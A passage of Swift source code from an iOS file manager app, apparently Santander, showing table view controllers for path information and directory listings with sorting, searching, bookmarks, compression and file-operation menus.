if path.displayName != path.lastPathComponent {\n                showDisplayName.toggle()\n            }\n            \n        case (0, 1):\n            showRealPath.toggle()\n        case (0, 2):\n            showByteCount.toggle()\n        case (3, 0):\n            guard let permissions = metadata.permissions else {\n                return\n            }\n            \n            self.navigationController?.pushViewController(PathPermissionsViewController(permissions: permissions), animated: true)\n        default:\n            return\n        }\n        \n        tableView.reloadRows(at: [indexPath], with: .automatic)\n    }\n    \n    override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {\n        let cell = UITableViewCell(style: .value1, reuseIdentifier: nil)\n        var conf = cell.defaultContentConfiguration()\n        switch (indexPath.section, indexPath.row) {\n        case (0, 0):\n            if showDisplayName {\n                conf.text = \"Display name\"\n                conf.secondaryText = self.path.displayName\n            } else if showAppName {\n                conf.text = \"App name\"\n                conf.secondaryText = appName\n            } else {\n                conf.text = \"Name\"\n                conf.secondaryText = path.lastPathComponent\n            }\n            \n        case (0, 1):\n            conf.text = showRealPath ? \"Real Path\" : \"Path\"\n            if showRealPath {\n                conf.secondaryText = path.resolvedURL.path\n            } else {\n                conf.secondaryText = self.path.path\n            }\n            \n        case (0, 2):\n            conf.text = \"Size\"\n            switch sizeState {\n            case .loading:\n                let spinner = UIActivityIndicatorView()\n                spinner.startAnimating()\n                spinner.translatesAutoresizingMaskIntoConstraints = false\n                cell.addSubview(spinner)\n                \n                NSLayoutConstraint.activate([\n                    spinner.trailingAnchor.constraint(equalTo: cell.layoutMarginsGuide.trailingAnchor),\n                    spinner.centerYAnchor.constraint(equalTo: cell.centerYAnchor)\n                ])\n                \n            case .unavailable:\n                conf.secondaryText = \"N/A\"\n            case .value(let size):\n                let formatter = ByteCountFormatter()\n                formatter.countStyle = .file\n                formatter.allowedUnits = .useAll\n                formatter.includesActualByteCount = showByteCount\n                conf.secondaryText = formatter.string(fromByteCount: Int64(size))\n            }\n        case (0, 3):\n            conf.text = \"Items\"\n            conf.secondaryText = self.path.contents.count.description\n        case (1, 0):\n            conf.text = \"Type\"\n            conf.secondaryText = metadata.contentType?.localizedDescription?.localizedCapitalized ?? \"N/A\"\n        case (1, 1):\n            conf.text = \"MIME Type\"\n            conf.secondaryText = metadata.contentType?.preferredMIMEType ?? \"N/A\"\n        case (2, 0):\n            conf.text = \"Created\"\n            conf.secondaryText = metadata.creationDate?.listFormatted() ?? \"N/A\"\n        case (2, 1):\n            conf.text = \"Added\"\n            conf.secondaryText = metadata.addedToDirectoryDate?.listFormatted() ?? \"N/A\"\n        case (2, 2):\n            conf.text = \"Modified\"\n            conf.secondaryText = metadata.lastModifiedDate?.listFormatted() ?? \"N/A\"\n        case (2, 3):\n            conf.text = \"Accessed\"\n            conf.secondaryText = metadata.lastAccessedDate?.listFormatted() ?? \"N/A\"\n        case (3, 0):\n            conf.text = \"Permissions\"\n            cell.accessoryType = .disclosureIndicator\n            cell.isUserInteractionEnabled = metadata.permissions != nil\n        default: break\n        }\n        \n        cell.contentConfiguration = conf\n        return cell\n    }\n    \n    override func tableView(_ tableView: UITableView, shouldHighlightRowAt indexPath: IndexPath) -> Bool {\n        switch (indexPath.section, indexPath.row) {\n        case (0, 0):\n            // Only allow display name to be shown if it's different from the lastPathComponent\n            return path.displayName != path.lastPathComponent || appName != nil\n        case (0, 1):\n            return (try? FileManager.default.destinationOfSymbolicLink(atPath: self.path.path)) != nil\n        case (0, 2):\n            return true\n        case (3, 0):\n            return metadata.permissions != nil\n        default:\n            return false\n        }\n    }\n    \n    override func tableView(_ tableView: UITableView, titleForHeaderInSection section: Int) -> String? {\n        return headerTitle(forSection: section)\n    }\n    \n    override func tableView(_ tableView: UITableView, contextMenuConfigurationForRowAt indexPath: IndexPath, point: CGPoint) -> UIContextMenuConfiguration? {\n        let cell = self.tableView(tableView, cellForRowAt: indexPath)\n        guard let conf = cell.contentConfiguration as? UIListContentConfiguration, let secondaryText = conf.secondaryText else { return nil }\n        \n        return UIContextMenuConfiguration(identifier: nil, previewProvider: nil) { _ in\n            let copyAction = UIAction(title: \"Copy\", image: UIImage(systemName: \"doc.on.doc\")) { _ in\n                UIPasteboard.general.string = secondaryText\n            }\n            \n            return UIMenu(children: [copyAction])\n        }\n    }\n    \n    func headerTitle(forSection section: Int) -> String {\n        switch section {\n        case 0: return \"General\"\n        case 1: return \"Type\"\n        case 2: return \"Date Metadata\"\n        case 3: return \"Permissions\"\n        default: fatalError(\"\\(#function): Unknown Section num \\(section)\")\n        }\n    }\n}\n"
  },
  {
    "path": "Santander/UI/Path/PathListViewController.swift",
    "content": "//\n//  PathListViewController.swift\n//  Santander\n//\n//  Created by Serena on 21/06/2022\n//\n\n\nimport UIKit\nimport QuickLook\nimport UniformTypeIdentifiers\nimport ApplicationsWrapper\nimport CompressionWrapper\n\n/// A table view controller showing the subpaths under a Directory, or a group\nclass PathListViewController: UITableViewController, PathTransitioning {\n    \n    /// The contents of the path, unfiltered\n    var unfilteredContents: [Path]\n    \n    /// The contents of the path, filtered by the search or hiding dotfiles\n    var filteredSearchContents: [Path] = []\n    \n    /// The items selected by the user while editing\n    var selectedItems: [Path] = []\n    \n    /// A Boolean representing if the user is currently searching\n    var isSearching: Bool = false\n    \n    /// The contents of the path to show in UI\n    var contents: [Path] {\n        get {\n            return filteredSearchContents.isEmpty && !self.isSearching ? unfilteredContents : filteredSearchContents\n        }\n    }\n    \n    /// The method of sorting\n    var sortMethod: PathsSortMethods = .userPrefered ?? .alphabetically {\n        willSet {\n            UserDefaults.standard.set(newValue.rawValue, forKey: \"SubPathsSortMode\")\n            sortContents()\n        }\n    }\n    \n    /// is this ViewController being presented as the `Bookmarks` paths?\n    let isBookmarksSheet: Bool\n    \n    /// The current path from which items are presented\n    var currentPath: Path? = nil\n    \n    let showInfoButton: Bool = UserPreferences.showInfoButton\n    \n    /// Whether or not to display the search suggestions\n    var displayingSearchSuggestions: Bool = false\n    \n    /// the Directory Monitor, used to observe changes\n    /// if the path is a directory\n    var directoryMonitor: DirectoryMonitor?\n    \n    /// The Audio Player View Controller to display\n    var audioPlayerController: AudioPlayerViewController?\n    \n    /// The label which displays that the user doesn't have permission to view a directory,\n    /// or that the directory / group is empty\n    /// (if those conditions apply)\n    var permissionDeniedLabel: UILabel!\n    \n    /// Whether or not to display files beginning with a dot in their names\n    var displayHiddenFiles: Bool = UserPreferences.displayHiddenFiles {\n        didSet {\n            reloadTableData()\n            \n            UserPreferences.displayHiddenFiles = self.displayHiddenFiles\n        }\n    }\n    \n    /// Whether or not the current path contains subpaths that are app UUIDs\n    var containsAppUUIDs: Bool?\n    \n    var searchItem: DispatchWorkItem?\n    \n    typealias SnapshotType = NSDiffableDataSourceSnapshot<Int, SubPathsRowItem>\n    typealias DataSourceType = UITableViewDiffableDataSource<Int, SubPathsRowItem>\n    lazy var dataSource = DataSourceType(tableView: self.tableView) { tableView, indexPath, itemIdentifier in\n        switch itemIdentifier {\n        case .path(let url):\n            return self.pathCellRow(forURL: url, displayFullPathAsSubtitle: self.isSearching || self.isBookmarksSheet)\n        case .searchSuggestion(let suggestion):\n            return self.searchSuggestionCellRow(suggestion: suggestion)\n        }\n    }\n    \n    /// Returns the PathListViewController for bookmarks paths\n    class func bookmarks() -> PathListViewController {\n        return PathListViewController(\n            contents: Array(UserPreferences.bookmarks),\n            title: \"Bookmarks\",\n            isBookmarksSheet: true)\n    }\n    \n    /// Initialize with a given path URL\n    init(style: UITableView.Style = .userPreferred, path: Path, isBookmarksSheet: Bool = false) {\n        self.unfilteredContents = self.sortMethod.sorting(URLs: path.contents, sortOrder: .userPreferred)\n        self.currentPath = path\n        self.isBookmarksSheet = isBookmarksSheet\n        \n        super.init(style: style)\n        self.title = path.lastPathComponent\n    }\n    \n    /// Initialize with the given specified URLs\n    init(style: UITableView.Style = .userPreferred, contents: [Path], title: String, isBookmarksSheet: Bool = false) {\n        self.unfilteredContents = self.sortMethod.sorting(URLs: contents, sortOrder: .userPreferred)\n        self.isBookmarksSheet = isBookmarksSheet\n        \n        super.init(style: style)\n        self.title = title\n    }\n    \n    required init?(coder: NSCoder) {\n        fatalError(\"init(coder:) has not been implemented\")\n    }\n    \n    override func viewDidLoad() {\n        super.viewDidLoad()\n        \n        setRightBarButton()\n        if !self.displayHiddenFiles {\n            reloadTableData()\n        }\n        \n        self.navigationController?.navigationBar.prefersLargeTitles = UserPreferences.useLargeNavigationTitles\n        let searchController = UISearchController(searchResultsController: nil)\n        searchController.searchBar.delegate = self\n        searchController.obscuresBackgroundDuringPresentation = false\n        searchController.searchResultsUpdater = self\n        searchController.delegate = self\n        self.tableView.keyboardDismissMode = .onDrag\n        self.navigationItem.hidesSearchBarWhenScrolling = !UserPreferences.alwaysShowSearchBar\n        if let currentPath = currentPath {\n            searchController.searchBar.scopeButtonTitles = [currentPath.lastPathComponent, \"Subdirectories\"]\n            self.containsAppUUIDs = currentPath.containsAppUUIDSubpaths\n            setupRefreshControl(forPath: currentPath)\n        }\n        self.navigationItem.searchController = searchController\n#if compiler(>=5.7)\n        if #available(iOS 16.0, *), UIDevice.isiPad {\n            self.navigationItem.style = .browser\n            self.navigationItem.renameDelegate = self\n        }\n#endif\n        \n        tableView.dragInteractionEnabled = true\n        tableView.dropDelegate = self\n        tableView.dragDelegate = self\n        tableView.dataSource = self.dataSource\n        showPaths()\n        \n        setupPermissionDeniedLabelIfNeeded()\n    }\n    \n    override func viewDidAppear(_ animated: Bool) {\n        super.viewDidAppear(animated)\n        \n        // The code for setting up the directory monitor should stay in viewDidAppear\n        // if used in viewDidLoad, it won't be monitoring if the user goes into a different directory\n        // then comes back\n        if let currentPath = self.currentPath {\n            if directoryMonitor == nil {\n                directoryMonitor = DirectoryMonitor(path: currentPath)\n                directoryMonitor?.delegate = self\n            }\n            \n            directoryMonitor?.startMonitoring()\n            // set the last opened path here\n            UserPreferences.lastOpenedPath = currentPath.path\n        }\n    }\n    \n    // scroll up or down keyboard shortcuts\n    override var keyCommands: [UIKeyCommand]? {\n        return [\n            UIKeyCommand(title: \"Scroll Up\", action: #selector(scrollUpOrDown(sender:)), input: UIKeyCommand.inputUpArrow, modifierFlags: .command),\n            UIKeyCommand(title: \"Scroll Down\", action: #selector(scrollUpOrDown(sender:)), input: UIKeyCommand.inputDownArrow, modifierFlags: .command)\n        ]\n    }\n    \n    @objc\n    func scrollUpOrDown(sender: UIKeyCommand) {\n        switch sender.input {\n        case UIKeyCommand.inputDownArrow:\n            let snapshot = dataSource.snapshot()\n            let indexPathToSrcollTo = IndexPath(row: snapshot.numberOfItems - 1, section: snapshot.numberOfSections - 1)\n            tableView.scrollToRow(at: indexPathToSrcollTo, at: .bottom, animated: true)\n        case UIKeyCommand.inputUpArrow:\n            tableView.scrollToRow(at: IndexPath(row: 0, section: 0), at: .top, animated: true)\n        default: break\n        }\n    }\n    \n    func setupRefreshControl(forPath path: Path) {\n        let refreshControl = UIRefreshControl()\n        let refreshAction = UIAction { [self] in\n            unfilteredContents = sortMethod.sorting(URLs: path.contents, sortOrder: .userPreferred)\n            reloadTableData()\n            refreshControl.endRefreshing()\n        }\n        \n        refreshControl.addAction(refreshAction, for: .primaryActionTriggered)\n        \n        tableView.refreshControl = refreshControl\n    }\n    \n    /// Setup the snapshot to show the paths given\n    func showPaths(animatingDifferences: Bool = false) {\n        self.displayingSearchSuggestions = false\n        var snapshot = SnapshotType()\n        \n        snapshot.appendSections([0])\n        snapshot.appendItems(SubPathsRowItem.fromPaths(contents))\n        dataSource.apply(snapshot, animatingDifferences: animatingDifferences)\n    }\n    \n    /// Show the search suggestions\n    func switchToSearchSuggestions() {\n        displayingSearchSuggestions = true\n        var snapshot = SnapshotType()\n        \n        snapshot.appendSections([0, 1, 2])\n        \n        for indexPath in SearchSuggestion.searchSuggestionSectionAndRows {\n            let item = SubPathsRowItem.searchSuggestion(.displaySearchSuggestions(for: indexPath))\n            snapshot.appendItems([item], toSection: indexPath.section)\n        }\n        \n        dataSource.apply(snapshot, animatingDifferences: false)\n    }\n    \n    func path(forIndexPath indexPath: IndexPath) -> Path {\n        switch dataSource.itemIdentifier(for: indexPath) {\n        case .path(let path):\n            return path\n        default:\n            fatalError(\"NEVER SUPPOSED TO BE HERE!\")\n        }\n    }\n    \n    override func viewWillDisappear(_ animated: Bool) {\n        super.viewWillDisappear(animated)\n        \n        self.directoryMonitor?.stopMonitoring()\n    }\n    \n    override func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {\n        if self.isEditing {\n            selectedItems.append(path(forIndexPath: indexPath)) // PLACE 1\n            setupOrUpdateToolbar()\n            setLeftBarSelectionButtonItem()\n            return\n        }\n        \n        if displayingSearchSuggestions {\n            let searchTextField = self.navigationItem.searchController?.searchBar.searchTextField\n            let tokensCount = searchTextField?.tokens.count\n            \n            if (indexPath.section, indexPath.row) == (0, 0) {\n                // The user wants to filter by type,\n                // prompt the viewController for doing so\n                let vc = TypesSelectionCollectionViewController { types in\n                    // Make sure the user selected a type before we insert the search token\n                    if !types.isEmpty {\n                        var searchSuggestion = SearchSuggestion.displaySearchSuggestions(for: indexPath, typesToCheck: types)\n                        // Set the name to the types\n                        searchSuggestion.name = types.compactMap(\\.localizedDescription).joined(separator: \", \")\n                        searchTextField?.insertToken(searchSuggestion.searchToken, at: tokensCount ?? 0)\n                    }\n                }\n                \n                let navVC = UINavigationController(rootViewController: vc)\n                \n                self.present(navVC, animated: true)\n                \n            } else {\n                searchTextField?.insertToken(SearchSuggestion.displaySearchSuggestions(for: indexPath).searchToken, at: tokensCount ?? 0)\n            }\n            \n        } else {\n            let selectedItem = path(forIndexPath: indexPath) // PLACE 2\n            goToPath(path: selectedItem)\n            tableView.deselectRow(at: indexPath, animated: true)\n        }\n    }\n    \n    override func tableView(_ tableView: UITableView, didDeselectRowAt indexPath: IndexPath) {\n        guard self.isEditing else {\n            return\n        }\n        \n        let selected = path(forIndexPath: indexPath) // PLACE 3\n        selectedItems.removeAll { path in\n            path == selected\n        }\n        \n        setupOrUpdateToolbar()\n        setLeftBarSelectionButtonItem()\n    }\n    \n    override func tableView(_ tableView: UITableView, trailingSwipeActionsConfigurationForRowAt indexPath: IndexPath) -> UISwipeActionsConfiguration? {\n        \n        guard !displayingSearchSuggestions else {\n            return nil\n        }\n        \n        let selectedItem = self.path(forIndexPath: indexPath) // PLACE 4\n        let itemAlreadyBookmarked = UserPreferences.bookmarks.contains(selectedItem)\n        let favouriteAction = UIContextualAction(style: .normal, title: nil) { _, _, handler in\n            self.removeOrAddItemToBookmarks(selectedItem, alreadyBookmarked: itemAlreadyBookmarked)\n            handler(true)\n        }\n        \n        favouriteAction.backgroundColor = .systemBlue\n        favouriteAction.image = itemAlreadyBookmarked ? UIImage(systemName: \"star.fill\") : UIImage(systemName: \"star\")\n        \n        let deleteAction = UIContextualAction(style: .destructive, title: nil) { _, _, completion in\n            self.deleteURL(selectedItem) { didSucceed in\n                completion(didSucceed)\n            }\n        }\n        \n        deleteAction.image = UIImage(systemName: \"trash\")\n        \n        let config = UISwipeActionsConfiguration(actions: [deleteAction, favouriteAction])\n        return config\n    }\n    \n    func removeOrAddItemToBookmarks(_ item: Path, alreadyBookmarked: Bool) {\n        if alreadyBookmarked {\n            UserPreferences.bookmarks.remove(item)\n            \n            // if we're in the bookmarks sheet, reload the table\n            if self.isBookmarksSheet {\n                self.unfilteredContents = Array(UserPreferences.bookmarks)\n                \n                var snapshot = self.dataSource.snapshot()\n                snapshot.deleteItems([.path(item)])\n                self.dataSource.apply(snapshot)\n            }\n        } else {\n            // otherwise, append it\n            UserPreferences.bookmarks.insert(item)\n        }\n    }\n    \n    func makeSortMenu() -> UIMenu {\n        let actions: [UIMenuElement] = PathsSortMethods.allCases.map { type in\n            let typeIsSelected = self.sortMethod == type\n            return UIAction(\n                title: type.description,\n                image: typeIsSelected ? UIImage(systemName: SortOrder.userPreferred.imageSymbolName) : nil,\n                state: typeIsSelected ? .on : .off) { _ in\n                    // if the user selected the already selected type,\n                    // change the sort order\n                    if typeIsSelected {\n                        UserDefaults.standard.set(SortOrder.userPreferred.toggling().rawValue, forKey: \"SortOrder\")\n                        self.sortContents()\n                    } else {\n                        // otherwise change the sort method itself\n                        self.sortMethod = type\n                    }\n                    \n                    // Reload the right bar button menu after setting the type\n                    self.setRightBarButton()\n                }\n        }\n        \n        let menu = UIMenu(title: \"Sort by..\", image: UIImage(systemName: \"arrow.up.arrow.down\"), children: actions)\n        if #available(iOS 15.0, *) {\n            menu.subtitle = self.sortMethod.description\n        }\n        \n        return menu\n    }\n    \n    func makeNewItemMenu(forURL url: URL) -> UIMenu {\n        let newFile = UIAction(title: \"File\", image: UIImage(systemName: \"doc\")) { _ in\n            self.presentAlertAndCreate(type: .file, forURL: url)\n        }\n        \n        let newFolder = UIAction(title: \"Folder\", image: UIImage(systemName: \"folder\")) { _ in\n            self.presentAlertAndCreate(type: .directory, forURL: url)\n        }\n        \n        return UIMenu(title: \"New..\", image: UIImage(systemName: \"plus\"), children: [newFile, newFolder])\n    }\n    \n    \n    // A UIMenu containing different, common, locations to go to, as well as an option\n    // to go to a specified URL\n    func makeGoToMenu() -> UIMenu {\n        var items: [UIMenuElement] = GoToItem.all.map { item in\n            return UIAction(title: item.displayName, image: item.image) { _ in\n                self.goToPath(path: Path(url: item.url))\n            }\n        }\n        \n        let otherLocationAction = UIAction(title: \"Other..\") { _ in\n            let alert = UIAlertController(title: \"Other Location\", message: \"Type the URL of the other path you want to go to\", preferredStyle: .alert)\n            \n            alert.addTextField { textfield in\n                textfield.placeholder = \"url..\"\n            }\n            \n            let goAction = UIAlertAction(title: \"Go\", style: .default) { _ in\n                guard let text = alert.textFields?.first?.text, FileManager.default.fileExists(atPath: text) else {\n                    self.errorAlert(\"URL inputted must be valid and must exist\", title: \"Error\")\n                    return\n                }\n                \n                self.goToPath(path: Path(stringLiteral: text))\n            }\n            \n            alert.addAction(.cancel())\n            alert.addAction(goAction)\n            alert.preferredAction = goAction\n            self.present(alert, animated: true)\n        }\n        \n        items.append(otherLocationAction)\n        \n        return UIMenu(title: \"Go to..\", image: UIImage(systemName: \"arrow.right\"), children: items)\n    }\n    \n    func decompressPath(path: Path) {\n        let alertController = createAlertWithSpinner(title: \"Decompressing..\")\n        present(alertController, animated: true)\n        DispatchQueue.global(qos: .userInitiated).async {\n            var caughtError: Error? = nil\n            do {\n                // DON'T CHANGE THIS DESTINATION VAR.\n                // why? because without it, you'd have a double directory\n                // ie, unzipping Library.zip would create ./CurrentDirectory/Library/Library,\n                // rather than the intended ./CurrentDirectory/Library/,\n                let destination = path.deletingLastPathComponent()\n                try Compression.shared.extract(path: path.url, to: destination.url)\n            } catch {\n                caughtError = error\n            }\n            \n            DispatchQueue.main.async {\n                alertController.dismiss(animated: true)\n                if let caughtError = caughtError {\n                    self.errorAlert(caughtError, title: \"Unable to decompress file \\(path.lastPathComponent)\")\n                }\n            }\n        }\n    }\n    \n    func compressPaths(paths: [Path], destination: URL, format: Compression.FormatType) {\n        let alertController = createAlertWithSpinner(title: \"Compressing..\", heightAnchorConstant: 120)\n        present(alertController, animated: true)\n        \n        DispatchQueue.global(qos: .userInitiated).async {\n            var caughtError: Error? = nil\n            do {\n                try Compression.shared.compress(paths: paths.map(\\.url), outputPath: destination, format: format) { pathBeingProcessed in\n                    DispatchQueue.main.async { alertController.message = \"Compressing \\(pathBeingProcessed.lastPathComponent)\" }\n                }\n            } catch {\n                caughtError = error\n            }\n            \n            DispatchQueue.main.async {\n                alertController.dismiss(animated: true)\n                if let caughtError = caughtError {\n                    self.errorAlert(caughtError, title: \"Unable to compress file(s).\")\n                }\n            }\n        }\n    }\n    \n    func makeCompressionMenu(paths: [Path], destination: @escaping (Compression.FormatType) -> Path) -> UIMenu {\n        let actions = Compression.FormatType.allCases.map { format in\n            UIAction(title: format.description) { _ in\n                self.compressPaths(paths: paths, destination: destination(format).url, format: format)\n            }\n        }\n        \n        return UIMenu(title: \"Compress\", image: UIImage(systemName: \"archivebox\"), children: actions)\n    }\n    \n    func goToFile(path: Path) {\n        if path.contentType?.isOfType(.archive) ?? false {\n            decompressPath(path: path)\n        } else if let preferred = FileEditor.preferred(forURL: path) {\n            preferred.display(senderVC: self)\n            \n            // if it's the audio viewcontroller & the file URL is different than the current property audio controller\n            // set the current audioVC property to it\n            if let audioVC = preferred.viewController as? AudioPlayerViewController {\n                // if music is already playing, then stop it\n                self.audioPlayerController?.player.stop()\n                // then set the current audio controller to the file tapped\n                self.audioPlayerController = audioVC\n                self.setupAudioToolbarIfPossible()\n            }\n            \n        } else {\n            openQuickLookPreview(forPath: path)\n        }\n    }\n    \n    func openQuickLookPreview(forPath path: Path) {\n        let controller = QLPreviewController()\n        let shared = FilePreviewDataSource(fileURL: path.url)\n        controller.dataSource = shared\n        self.present(controller, animated: true)\n    }\n    \n    /// Opens a path in the UI\n    func goToPath(path: Path) {\n        // Make sure we're opening a directory,\n        // or the parent directory of the file selected (if searching)\n        \n        // if we're going to a directory, go to the directory path\n        if path.isDirectory {\n            let parentDirectory = path.deletingLastPathComponent()\n            \n            // if the parent directory is the current directory or we're in the bookmarks sheet\n            // simply push through the navigation controller\n            // rather than traversing through each parent path\n            if isBookmarksSheet || parentDirectory == self.currentPath {\n                let vc = PathListViewController(path: path, isBookmarksSheet: self.isBookmarksSheet)\n                self.navigationController?.pushViewController(vc, animated: true)\n            } else {\n                traverseThroughPath(path)\n            }\n        } else {\n            self.goToFile(path: path)\n        }\n    }\n    \n    func traverseThroughPath(_ path: Path) {\n        let vcs = path.url.fullPathComponents().map {\n            PathListViewController(path: Path(url: $0), isBookmarksSheet: self.isBookmarksSheet)\n        }\n        \n        self.navigationController?.setViewControllers(vcs, animated: true)\n    }\n    \n    func sortContents() {\n        self.unfilteredContents = sortMethod.sorting(URLs: unfilteredContents, sortOrder: .userPreferred)\n        reloadTableData(animatingDifferences: true)\n    }\n    \n    /// Opens the information bottom sheet for a specified path\n    func openInfoBottomSheet(path: Path) {\n        if let app = path.applicationItem {\n            // if we can get the app info too,\n            // present an action sheet to choose between either\n            let actionSheet = UIAlertController(title: nil, message: nil, preferredStyle: .actionSheet)\n            let pathInfoAction = UIAlertAction(title: \"Path Info\", style: .default) { _ in\n                let navController = UINavigationController(\n                    rootViewController: PathInformationTableViewController(style: .insetGrouped, path: path)\n                )\n                \n                if #available(iOS 15.0, *) {\n                    navController.sheetPresentationController?.detents = [.medium(), .large()]\n                }\n                \n                self.present(navController, animated: true)\n            }\n            \n            let appInfoAction = UIAlertAction(title: \"App Info\", style: .default) { _ in\n                let navController = UINavigationController(\n                    rootViewController: AppInfoViewController(style: .insetGrouped, app: app, subPathsSender: self)\n                )\n                \n                self.present(navController, animated: true)\n            }\n            \n            actionSheet.addAction(appInfoAction)\n            actionSheet.addAction(pathInfoAction)\n            actionSheet.addAction(.init(title: \"Cancel\", style: .cancel))\n            \n            actionSheet.popoverPresentationController?.sourceView = view\n            let bounds = view.bounds\n            actionSheet.popoverPresentationController?.sourceRect = CGRect(x: bounds.midX, y: bounds.midY, width: 0, height: 0)\n            self.present(actionSheet, animated: true)\n        } else {\n            let navController = UINavigationController(\n                rootViewController: PathInformationTableViewController(style: .insetGrouped, path: path)\n            )\n            \n            if #available(iOS 15.0, *) {\n                navController.sheetPresentationController?.detents = [.medium(), .large()]\n            }\n            \n            self.present(navController, animated: true)\n        }\n    }\n    \n    override func tableView(_ tableView: UITableView, accessoryButtonTappedForRowWith indexPath: IndexPath) {\n        self.openInfoBottomSheet(path: path(forIndexPath: indexPath)) // PLACE 5\n    }\n    \n    /// Returns the cell row to be used for a search suggestion\n    func searchSuggestionCellRow(suggestion: SearchSuggestion) -> UITableViewCell {\n        let cell = UITableViewCell()\n        var conf = cell.defaultContentConfiguration()\n        conf.text = suggestion.name\n        conf.image = suggestion.image\n        cell.contentConfiguration = conf\n        return cell\n    }\n    \n    /// Returns the cell row to be used to display a path\n    func pathCellRow(\n        forURL fsItem: Path,\n        displayFullPathAsSubtitle useSubtitle: Bool = false\n    ) -> UITableViewCell {\n        var fsItem = fsItem\n        let pathName = fsItem.lastPathComponent\n        \n        let cell = UITableViewCell(style: useSubtitle ? .subtitle : .default, reuseIdentifier: nil)\n        var cellConf = cell.defaultContentConfiguration()\n        defer {\n            cell.contentConfiguration = cellConf\n        }\n        \n        // for performance, we check first for if the current path contains app UUIDs (if the pathExt isn't .app)\n        // otherwise, if currentPath is nil, check for if the parent dir of the path contains app UUIDs\n        // performance is worse if we *always* do the first,\n        // but `containsAppUUIDs` isn't nil as long as `currentPath` isn't nil.\n        if (fsItem.pathExtension == \"app\" || (containsAppUUIDs ?? fsItem.deletingLastPathComponent().containsAppUUIDSubpaths)),\n           let app = fsItem.applicationItem {\n            cellConf.text = app.localizedName()\n            cellConf.image = ApplicationsManager.shared.icon(forApplication: app)\n            cellConf.secondaryText = fsItem.lastPathComponent\n            cell.accessoryType = .disclosureIndicator\n            cellConf.textProperties.color = tableView.tintColor ?? .systemBlue\n            return cell\n        }\n        \n        cellConf.text = pathName\n        \n        // if the item name starts is a dotfile / dotdirectory\n        // ie, .conf or .zshrc,\n        // display the label as gray\n        if pathName.first == \".\" {\n            cellConf.textProperties.color = .gray\n            cellConf.secondaryTextProperties.color = .gray\n        }\n        \n        if useSubtitle {\n            cellConf.secondaryText = fsItem.path // Display full path as the subtitle text if we should\n        }\n        \n        cellConf.image = fsItem.displayImage\n        \n        if showInfoButton {\n            cell.accessoryType = .detailDisclosureButton\n        } else if fsItem.isDirectory {\n            cell.accessoryType = .disclosureIndicator\n        }\n        \n        return cell\n    }\n    \n    override func tableView(_ tableView: UITableView, contextMenuConfigurationForRowAt indexPath: IndexPath, point: CGPoint) -> UIContextMenuConfiguration? {\n        \n        if displayingSearchSuggestions {\n            return nil // No context menu for search suggestions\n        }\n        \n        let item = path(forIndexPath: indexPath) // PLACE 6\n        return UIContextMenuConfiguration(identifier: nil) {\n            // The following is the preview provider for the item\n            // Being the cell row, but manually made for 2 reasons:\n            // 1) Display the full path as a subtitle\n            // 2) Rounded corners, which we wouldn't have if we returned previewProvider as `nil`\n            let vc = UIViewController()\n            vc.view = self.pathCellRow(forURL: item, displayFullPathAsSubtitle: true)\n            vc.view.backgroundColor = .systemBackground\n            let sizeFrame = vc.view.frame\n            vc.preferredContentSize = CGSize(width: sizeFrame.width, height: sizeFrame.height)\n            return vc\n        } actionProvider: { _ in\n            \n            let movePath = UIAction(title: \"Move to..\", image: UIImage(systemName: \"arrow.right\")) { _ in\n                self.presentOperationVC(forItems: [item.url], type: .move)\n            }\n            \n            let copyPath = UIAction(title: \"Copy to..\", image: UIImage(systemName: \"doc.on.doc\")) { _ in\n                self.presentOperationVC(forItems: [item.url], type: .copy)\n            }\n            \n            let createSymlink = UIAction(title: \"Create symbolic link to..\", image: UIImage(systemName: \"link\")) { _ in\n                self.presentOperationVC(forItems: [item.url], type: .symlink)\n            }\n            \n            let pasteboardOptions = UIMenu(options: .displayInline, children: self.makePasteboardMenuElements(for: item))\n            let operationItemsMenu = UIMenu(options: .displayInline, children: [movePath, copyPath, createSymlink])\n            let informationAction = UIAction(title: \"Info\", image: UIImage(systemName: \"info.circle\")) { _ in\n                self.openInfoBottomSheet(path: item)\n            }\n            \n            let shareAction = UIAction(title: \"Share\", image: UIImage(systemName: \"square.and.arrow.up\")) { _ in\n                self.presentActivityVC(forItems: [item.url])\n            }\n            \n            let renameAction = UIAction(title: \"Rename\", image: UIImage(systemName: \"rectangle.and.pencil.and.ellipsis\")) { _ in\n                let alert = UIAlertController(title: \"Rename\", message: nil, preferredStyle: .alert)\n                \n                let renameAction = UIAlertAction(title: \"Rename\", style: .default) { _ in\n                    guard let name = alert.textFields?.first?.text else {\n                        return\n                    }\n                    \n                    do {\n                        let newPath: URL = item.deletingLastPathComponent().appendingPathComponent(name)\n                        try FSOperation.perform(.rename(item: item.url, newPath: newPath), rootHelperConf: RootConf.shared)\n                    } catch {\n                        self.errorAlert(error, title: \"Unable to rename \\(item.lastPathComponent)\")\n                    }\n                }\n                \n                alert.addTextField { textField in\n                    textField.text = item.lastPathComponent\n                }\n                \n                alert.addAction(.cancel())\n                alert.addAction(renameAction)\n                self.present(alert, animated: true)\n            }\n            \n            var children: [UIMenuElement] = [informationAction, renameAction, shareAction]\n            \n            let compressOrDecompressAction: UIMenuElement\n            if !(item.contentType?.isOfType(.archive) ?? false) {\n                compressOrDecompressAction = self.makeCompressionMenu(paths: [item]) { format in\n                    return item.deletingPathExtension().appendingPathExtension(format.fileExtension)\n                }\n            } else {\n                compressOrDecompressAction = UIAction(title: \"Decompress\", image: UIImage(systemName: \"archivebox\")) { _ in\n                    self.decompressPath(path: item)\n                }\n            }\n            \n            children.append(compressOrDecompressAction)\n            \n            // \"Open App\" option for apps\n            if let app = item.applicationItem {\n                let openAction = UIAction(title: \"Open App\") { _ in\n                    do {\n                        try ApplicationsManager.shared.openApp(app)\n                    } catch {\n                        self.errorAlert(error, title: \"Unable to open app\")\n                    }\n                }\n                children.append(openAction)\n            }\n            \n            if !item.isDirectory {\n                let allEditors = FileEditor.allEditors(forPath: item)\n                var actions = allEditors.map { editor in\n                    UIAction(title: editor.type.description) { _ in\n                        editor.display(senderVC: self)\n                    }\n                }\n                \n                // always have a QuickLook action\n                let qlAction = UIAction(title: \"QuickLook\") { _ in\n                    self.openQuickLookPreview(forPath: item)\n                }\n                \n                actions.append(qlAction)\n                \n                //TODO: - For insanely large files, this results in a crash, find a way around this.\n                // maybe use a UIAlertController as an actionSheet?\n                children.append(UIMenu(title: \"Open in..\", children: actions))\n            }\n            \n            if UIDevice.isiPad {\n                let addActions = UserPreferences.pathGroups.enumerated().map { (index, group) in\n                    return UIAction(title: group.name) { _ 